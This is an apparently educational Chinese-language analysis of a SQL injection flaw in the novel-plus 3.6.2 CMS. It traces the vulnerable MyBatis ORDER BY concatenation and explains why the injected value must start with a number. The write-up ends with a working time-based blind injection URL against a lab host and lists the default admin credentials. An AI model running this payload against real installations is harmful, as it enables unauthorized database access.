novel-plus

漏洞介绍详情:https://avd.aliyun.com/detail?id=AVD-2023-1606

docker 环境:https://github.com/N0boy-0/vulenv

后台账号密码都是admin

novel-plus(小说精品屋-plus)是一个多端(PC、WAP)阅读、功能完善的原创文学 CMS 系统。

novel-plus 3.6.2版本存在安全漏洞,该漏洞源于文件DictController.java存在问题,对参数orderby的操作会导致sql注入。

漏洞分析

其实没有什么好分析的,只不过有一个点比较有意思。这是一个小型的项目,直接下载源码简单看一下。

漏洞出现的地方在com.java2nb.common.controller.DictController,在这个文件里有一个list()方法

1
2
3
4
5
6
7
8
9
10
11
@ResponseBody
@GetMapping("/list")
@RequiresPermissions("common:dict:dict")
public PageBean list(@RequestParam Map<String, Object> params) {
// 查询列表数据
Query query = new Query(params);
List<DictDO> dictList = dictService.list(query);
int total = dictService.count(query);
PageBean pageBean = new PageBean(dictList, total);
return pageBean;
}

直接找到mapper的xml文档:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<select id="list" resultType="com.java2nb.common.domain.DictDO">
select
`id`,`name`,`value`,`type`,`description`,`sort`,`parent_id`,`create_by`,`create_date`,`update_by`,`update_date`,`remarks`,`del_flag`
from sys_dict
<where>
<if test="id != null and id != ''"> and id = #{id} </if>
<if test="name != null and name != ''"> and name = #{name} </if>
<if test="value != null and value != ''"> and value = #{value} </if>
<if test="type != null and type != ''"> and type = #{type} </if>
<if test="description != null and description != ''"> and description = #{description} </if>
<if test="sort != null and sort != ''"> and sort = #{sort} </if>
<if test="parentId != null and parentId != ''"> and parent_id = #{parentId} </if>
<if test="createBy != null and createBy != ''"> and create_by = #{createBy} </if>
<if test="createDate != null and createDate != ''"> and create_date = #{createDate} </if>
<if test="updateBy != null and updateBy != ''"> and update_by = #{updateBy} </if>
<if test="updateDate != null and updateDate != ''"> and update_date = #{updateDate} </if>
<if test="remarks != null and remarks != ''"> and remarks = #{remarks} </if>
<if test="delFlag != null and delFlag != ''"> and del_flag = #{delFlag} </if>
</where>
<choose>
<when test="sort != null and sort.trim() != ''">
order by ${sort} ${order}
</when>
<otherwise>
order by id desc
</otherwise>
</choose>
<if test="offset != null and limit != null">
limit #{offset}, #{limit}
</if>
</select>

可以看到order by之后的sort不是通过预编译的形式引入参数,是直接将用户的输入拼接到order by之后,乍一眼看就是简单的order by注入,但是在where语句中如果sort不为空<if test="sort != null and sort != ''"> and sort = #{sort} </if>就会引入sort

在sql语言中,如果order by之前的sql语句查不出结果,那么order by之后的语句是不会执行的。

在数据库中可以看到sort字段是decimal类型,

image-20240523213402002

在mysql中10会等于”10asdasd”

image-20240523213709066

image-20240523213811150

所以只要让sort以特定的数字开头就可以了

http://192.168.112.128/common/dict/list?type=del_flag&offset=0&limit=10&sort=10%20AND%20IF(1=1,SLEEP(4),2)

image-20240523213958688